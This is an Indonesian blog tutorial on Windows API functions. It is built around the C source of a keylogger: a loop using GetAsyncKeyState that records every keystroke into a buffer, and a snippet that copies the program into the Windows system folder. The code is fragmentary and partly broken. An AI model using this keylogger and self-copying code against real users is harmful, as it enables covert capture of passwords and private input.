Fungsi windows API November 2014

Penulis tidak bertanggung jawab atas akibat atau dampak yang disebabkan oleh penggunaan materi dari tutorial ini. Tujuan penulis hanya ingin menyampaikan materi kepada pihak-pihak yang bertanggung jawab dan "Want to learn", tidak kepada pihak-pihak yang ingin merugikan orang lain.


Intro
9 API atau Application Programming Interface merupakan fungsi-fungsi Eksternal yang terdapat dalam file-file perpustakaan Windows (Library Windows) atau file library lainnya yang dapat dimanfaatkan oleh aplikasi. File Lib (Library) ini terdapat di Folder system Windows
(C:\Windows\System32). Penggunaannya dalam sebuah aplikasi haruslah dideklarasikan terlebih dahulu di Source Code aplikasi.



Tujuan Penggunaan
9 Kadang kita berpikir "Gimana sih aplikasi kita biar bisa nyatet ketikan keyboard?" atau "Gimana sih aplikasi kita bisa nyari folder system windust(Baca:Windows) secara otomatis tanpa kita kasi tahu pathnya terlebih dahulu?", jawabannya adalah dengan menggunakan fungsi- fungsi API yang ada. Dibuat dari bahasa apakah Fungsi API itu? Pada permulaannya API ditulis dengan bhs C/C++ lalu pemanfaatannya sangatlah luas oleh bhs program lain (VB, DELPHI, Dll) yang tentunya memerlukan suatu konversi terhadap pendeklarasiannya.

Tools atau Softwarez dan Skill yang diperlukan
9 Setidaknya anda telah belajar menggunakan ataupun membuat suatu aplikasi dengan VB (Visual Basic) atau DELPHI ataupun C/C++. Softwarez : M$ Visual Basic 5.0/6.0, DELPHI, M$ Visual C++ 6.0 atau compiler C/C++ yang lain
9 Tools : API Text Viewer


Tutorial
9 Sebagai contoh akan saya berikan suatu Aplikasi Keylogger (Aplikasi yang mencatat Ketikan keyboard lalu menyimpannya ke File .log) dengan bhs C. Fungsi API yang akan digunakan adalah :


- GetSystemDirectory(LPSTR lpBuffer,Uint uSize)
Adalah Fungsi API yang akan mencari Folder/Direktori System Windust Dimana LPSTR lpBuffer adalah variabel dengan tipe data char[256] dan Uint uSize adalah variabel dengan tipe data Integer dengan nilai sizeof(lpBuffer). Nilai balik fungsi ini akan memberikan nilai sesuai dengan panjang Direktori system tsb. Contoh :
int i;char j[256];
i = GetSystemDirectory(j,sizeof(j));
misal j bermuatan = "F:\Windows\System32"
maka i == sizeof(j) == 19


- GetAsyncKeyState(Uint var)
Adalah fungsi yang akan mengembalikan nilai -32767 bila var bernilai kode ascii yang benar/valid. Contoh :
if(GetAsyncKeyState(i)==-32767)
printf("OK");
maka bila kita ketik apa saja di keyboard maka akan mencetak OK"
di layar.


- GetKeyState(Uint var)
Adalah fungsi yang hampir sama dgn GetAsyncKeyState hanya saja akan mengembalikan nilai 1 bila var bernilai benar/valid. Fungsi ini akan mengecek kondisi dari abjad yang diketikkan apakah huruf KAPITAL
(VK_CAPITAL) yakni tombol CAPSLOCK ditekan atau tidak.
Contoh :
if(GetKeyState(VK_CAPITAL))
printf("KAPITAL");
maka bila kita menekan tombol CAPSLOCK maka akan mencetak
"KAPITAL" di layar.

9 Lalu bagaimana kita menggunakan fungsi-fungsi API diatas? Dalam bhs C/C++ kita dapat langsung menggunakannya tanpa perlu dideklarasikan terlebih dahulu. Sedangkan untuk Visual Basic atau DELPHI harus dideklarasikan di bagian General. Contoh (Dalam Visual BAsic 6.0) :


(General)
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long)
As Integer


Sebagaimana kita dapat lihat fungsi API GetAsyncKeyState tersebut menggunakan library "user32" dan nilai baliknya adalah tipr data Integer.

Sedangkan implementasinya pada program keylogger kita adalah sebagai
berikut :


9 Penggunaan GetAsyncKeyState() :
----------------potong di sini-------------------


while(1) //Perulangan tak hingga (Infinite Loop)
{
for(j=8;j<=255;j++) //perulangan sesuai dengan ASCII (dimulai dari ASCII 8)
{


ASCII valid

if (GetAsyncKeyState(j)==-32767) //Fungsi API, nilai balik = -32767 bila


{




if (j==8) //dimana j adalah var int catat("[del]"); //masukkan ke fungsi catat()

if (j==13)
catat("[enter]");
if (j==32)
catat("[space]");
if(j==VK_CAPITAL)
catat("[CapitalLetters]");
if (j==VK_TAB)
catat("[TAB]");
if (j ==VK_SHIFT)
catat("[SHIFT]");
if (j ==VK_CONTROL)
catat("[CTRL]");
if (j ==VK_PAUSE)
catat("[PAUSE]");
if (j ==VK_KANA)
catat("[Kana]");
if (j ==VK_ESCAPE)
catat("[ESC]");
if (j ==VK_END)
catat("[END]");
if (j ==VK_HOME)
catat("[HOME]");
if (j ==VK_LEFT)
catat("[LEFT]");
if (j ==VK_UP)
catat("[UP]");
if (j ==VK_RIGHT)
catat("[RIGHT]");
if (j ==VK_DOWN)
catat("[DOWN]");
if (j ==VK_SNAPSHOT)
catat("[PRINT]");
if (j ==VK_NUMLOCK)
catat("[NUM LOCK]");
if (j ==190 || j==110)
catat(".");
if (j >=96 && j <= 105) //periksa apakah yg ditekan adalah numerik
key
{
j = j - 48;
teks[x]=j; //teks adalah char teks[5000]
x++; //var x digunakan untuk pengaturan string dalam array
teks
}
if (j >=48 && j <= 59) //periksa apakah yg ditekan adalah numerik
key di numpad
{
teks[x]=j;
x++;
}
if (j !=VK_LBUTTON || j !=VK_RBUTTON)
if (j >=65 && j <=90) //
{
if (GetKeyState(VK_CAPITAL)) //fungsi API GetKeyState()
catat(&j);
else
{
j = j +32; //mencatat alfabet kecil (non-kapital)
teks[x]=j;
x++;
}
}
}


}
}

}

int catat(char *tamp2) //fungsi untuk memasukkan string ke dalam array teks
{
sprintf(tamp,"%s",tamp2);
strcat(teks,tamp);
x=x+strlen(tamp);
}


----------------potong di sini-------------------


$>Penggunaan GetSystemDirectory() :
----------------potong di sini-------------------


m=GetSystemDirectory(s,255); //m adalah var integer yang akan berisi panjang dari path folder System Windust
if(m!=0) //Cek apakah m tidak sama dengan 0
strcat(dir,s); //memasukkan path dari folder system ke var char dir[256] y=CopyFile(argv[0],(strcat(dir,"coba.exe")),TRUE) // copy file kita ke folder windust, jika berhasil y akan bernilai TRUE


----------------potong di sini-------------------

9 Potongan Source Code diatas belumlah optimal, dikarenakan masih menggunakan statement-statement yang sama berulang kali. Lalu bagaimana dengan fungsi API yang lain? MAsih banyak fungsi-fungsi API yang lain seperti keybd_event, SetActiveWindow, LoadAccelerators dan lain-lain. Tetapi karena keterbatasan waktu dan tempat saya tidak bisa menjabarkan satu persatu, mungkin pada kesempatan yang lain.


Thanks,


PushM0v
Any Comments, Suggestions, Critics : emomelodicfreak@yahoo.com



Referensi : Pemograman WINDOWS API dengan MS Visual Basic oleh Rahadian
Hadi
- www.planet-source-code.com
- www.google.co.id

Terima Kasih Telah Berkunjung ke Web Lowongan Kerja Resmi Terbaru ini. Anda dapat menerima Info Rekrutmen Karir Terbaru dari Perusahaan BUMN, BANK, CPNS dan Perusahaan lainnya dengan KLIK and FOLLOW Akun Google+ dibawah.

Fungsi windows API Title : Fungsi windows API
Updated at : Friday, December 02, 2011
Posted by :